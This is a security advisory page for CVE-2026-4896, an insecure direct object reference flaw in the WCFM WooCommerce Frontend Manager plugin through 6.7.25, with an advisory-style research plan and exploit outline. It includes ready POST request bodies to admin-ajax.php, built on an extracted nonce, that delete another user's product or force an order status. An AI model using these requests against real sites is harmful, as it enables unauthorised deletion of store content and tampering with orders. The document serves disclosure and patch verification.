CVE-2026-4896

WCFM - WooCommerce Frontend Manager <= 6.7.25 - Insecure Direct Object References to Autenticated (Vendor+) Arbitrary Post/Product Manipulation

highAuthorization Bypass Through User-Controlled Key
8.1
CVSS Score
8.1
CVSS Score
high
Severity
6.7.26
Patched in
1d
Time to patch

Description

The WCFM – Frontend Manager for WooCommerce along with Bookings Subscription Listings Compatible plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.7.25 via multiple AJAX actions including `wcfm_modify_order_status`, `delete_wcfm_article`, `delete_wcfm_product`, and the article management controller due to missing validation on user-supplied object IDs. This makes it possible for authenticated attackers, with Vendor-level access and above, to modify the status of any order, delete or modify any post/product/page, regardless of ownership.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=6.7.25
PublishedApril 3, 2026
Last updatedApril 4, 2026
Affected pluginwc-frontend-manager

What Changed in the Fix

Changes introduced in v6.7.26

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to verify the Insecure Direct Object Reference (IDOR) vulnerability in the WCFM - WooCommerce Frontend Manager plugin, allowing vendors to manipulate products, orders, and articles they do not own. ### 1. Vulnerability Summary The WCFM plugin (<= 6.7.25) fails …

Show full research plan

This research plan outlines the steps to verify the Insecure Direct Object Reference (IDOR) vulnerability in the WCFM - WooCommerce Frontend Manager plugin, allowing vendors to manipulate products, orders, and articles they do not own.

1. Vulnerability Summary

The WCFM plugin (<= 6.7.25) fails to validate object ownership in several AJAX handlers. While these handlers verify that the user has a "Vendor" or "Shop Staff" role, they do not check if the specific ID provided in the request (Product ID, Order ID, or Article ID) belongs to the authenticated user. This allows any authenticated vendor to modify or delete content belonging to other vendors or the site administrator.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Authentication: Required (User role: wcfm_vendor, seller, or vendor)
  • Vulnerable Actions:
    • delete_wcfm_product
    • wcfm_modify_order_status
    • delete_wcfm_article
    • wcfm_ajax_controller (with controller=wcfm-products-manage)
  • Payload Parameters:
    • productid (for product deletion)
    • order_id & order_status (for order manipulation)
    • articleid (for article deletion)
    • wcfm_ajax_nonce (required CSRF token)

3. Code Flow

  1. AJAX Registration: In core/class-wcfm-ajax.php, hooks are registered for wp_ajax_delete_wcfm_product and wp_ajax_wcfm_modify_order_status.
  2. Central Controller: For management actions, wcfm_ajax_controller() is used. It checks for general capabilities:
    // core/class-wcfm-ajax.php
    if ( !current_user_can( 'manage_woocommerce' ) && !current_user_can( 'wcfm_vendor' ) && ... ) {
        wp_send_json_error( ... );
    }
    
  3. Missing Ownership Check: The handlers (e.g., delete_wcfm_product) take a productid from $_POST. They typically call wp_delete_post() or similar functions without first checking if the post_author matches the get_current_user_id().

4. Nonce Acquisition Strategy

WCFM localizes its AJAX nonce into a global JavaScript object named wcfm_params.

  1. Identify Trigger: The nonce is enqueued on WCFM dashboard pages (e.g., /wcfm-dashboard/, /wcfm-products/).
  2. Access Page: Navigate to the WCFM Products page as the Vendor user.
  3. Extract Nonce: Use browser_eval to retrieve the nonce from the wcfm_params object.
    • JS Variable: window.wcfm_params?.wcfm_ajax_nonce

5. Exploitation Strategy

We will demonstrate the IDOR by deleting an Administrator's product using a Vendor account.

Step 1: Product Deletion (Primary PoC)

  • Method: POST
  • URL: https://<target>/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=delete_wcfm_product
    &productid=<ADMIN_PRODUCT_ID>
    &wcfm_ajax_nonce=<EXTRACTED_NONCE>
    

Step 2: Order Status Modification

  • Method: POST
  • URL: https://<target>/wp-admin/admin-ajax.php
  • Body:
    action=wcfm_modify_order_status
    &order_id=<TARGET_ORDER_ID>
    &order_status=completed
    &wcfm_ajax_nonce=<EXTRACTED_NONCE>
    

6. Test Data Setup

  1. Administrator Actions:
    • Create a product (Type: product, Title: "Admin Sensitive Product"). Note the ID.
    • Create a WooCommerce Order. Note the ID.
    • Create a Post (Type: post, Title: "Admin Article"). Note the ID.
  2. Vendor Setup:
    • Create a user with the wcfm_vendor role.
  3. WCFM Configuration:
    • Ensure WCFM is active and the Vendor has access to the dashboard.

7. Expected Results

  • Deletion: The server should return a success JSON response (e.g., {"status": true}). The product with the specified ID should be moved to the trash or permanently deleted.
  • Order Update: The order status should change to completed in the WooCommerce database, regardless of whether the vendor is associated with the products in that order.

8. Verification Steps

  1. Check Product Status: Use WP-CLI to verify the product is gone.
    • wp post get <ADMIN_PRODUCT_ID> --field=post_status (Should be 'trash' or return error if deleted).
  2. Check Order Status:
    • wp wc order get <TARGET_ORDER_ID> --field=status (Should be 'completed').
  3. Check Article Status:
    • wp post get <ADMIN_ARTICLE_ID> --field=post_status

9. Alternative Approaches

If delete_wcfm_product is patched or behaves differently, use the wcfm_ajax_controller to attempt an edit on an unauthorized product:

  • Action: wcfm_ajax_controller
  • Controller: wcfm-products-manage
  • Body: controller=wcfm-products-manage&wcfm_products_manage_form=...&proid=<ADMIN_PRODUCT_ID>&wcfm_ajax_nonce=<NONCE>
  • This tests the IDOR within the complex product manager logic rather than the simple delete hook.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WCFM – Frontend Manager for WooCommerce plugin is vulnerable to Insecure Direct Object Reference (IDOR) due to missing ownership validation in several AJAX handlers. This allow authenticated vendors to delete or modify products, orders, and articles belonging to other vendors or administrators by specifying the target object's ID in the request.

Vulnerable Code

// core/class-wcfm-ajax.php:206
if ( !current_user_can( 'manage_woocommerce' ) && !current_user_can( 'wcfm_vendor' ) && !current_user_can( 'seller' ) && !current_user_can( 'vendor' ) && !current_user_can( 'shop_staff' ) ) {
    wp_send_json_error( esc_html__( 'You don&#8217;t have permission to do this.', 'woocommerce' ) );
    wp_die();
}

// core/class-wcfm-ajax.php:220
case 'wcfm-products-manage':
    if ( !current_user_can( 'manage_woocommerce' ) && !current_user_can( 'wcfm_vendor' ) && !current_user_can( 'seller' ) && !current_user_can( 'vendor' ) && !current_user_can( 'shop_staff' ) ) {
        wp_send_json_error( esc_html__( 'You don&#8217;t have permission to do this.', 'woocommerce' ) );
        wp_die();
    }
    
    if( wcfm_is_booking() ) {
        include_once( $this->controllers_path . 'wc_bookings/wcfm-controller-wcbookings-products-manage.php' );
        new WCFM_WCBookings_Products_Manage_Controller();
    }
    // Integration controllers are initialized using $_POST parameters without ownership checks
    include_once( $this->controllers_path . 'products-manager/wcfm-controller-integrations-products-manage.php' );
    new WCFM_Integrations_Products_Manage_Controller();

---

// core/class-wcfm-ajax.php:49
add_action( 'wp_ajax_wcfm_modify_order_status', array( &$this, 'wcfm_modify_order_status' ) );

// core/class-wcfm-ajax.php:52
add_action( 'wp_ajax_delete_wcfm_product', array( &$this, 'delete_wcfm_product' ) );

---

// core/class-wcfm-article.php:46
add_action( 'wp_ajax_delete_wcfm_article', array( &$this, 'delete_wcfm_article' ) );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.25/controllers/orders/wcfm-controller-wcfmmarketplace-itemized-orders.php /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.26/controllers/orders/wcfm-controller-wcfmmarketplace-itemized-orders.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.25/controllers/orders/wcfm-controller-wcfmmarketplace-itemized-orders.php	2026-02-07 07:41:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.26/controllers/orders/wcfm-controller-wcfmmarketplace-itemized-orders.php	2026-03-16 10:26:22.000000000 +0000
@@ -1,4 +1,5 @@
 <?php
+
 /**
  * WCFM plugin controllers
  *
@@ -10,390 +11,391 @@
  */
 
 class WCFM_Orders_WCFMMarketplace_Controller {
-

Exploit Outline

The attacker requires a valid account with at least Vendor-level permissions (e.g., 'wcfm_vendor'). 1. Login to the WordPress site as a Vendor. 2. Access any WCFM dashboard page (e.g., /wcfm-dashboard/) to obtain the 'wcfm_ajax_nonce' from the 'wcfm_params' global JavaScript variable. 3. Identify the ID of a target product, order, or article that the vendor does not own (e.g., an administrator's product). 4. Send a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to a vulnerable handler (e.g., 'delete_wcfm_product', 'wcfm_modify_order_status', or 'delete_wcfm_article'). 5. Include the target ID in the corresponding ID parameter (e.g., 'productid', 'order_id', or 'articleid') and provide the 'wcfm_ajax_nonce'. 6. The server will execute the action (deletion or modification) because it verifies the user's role and nonce but fails to verify that the target object ID belongs to the requesting user.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.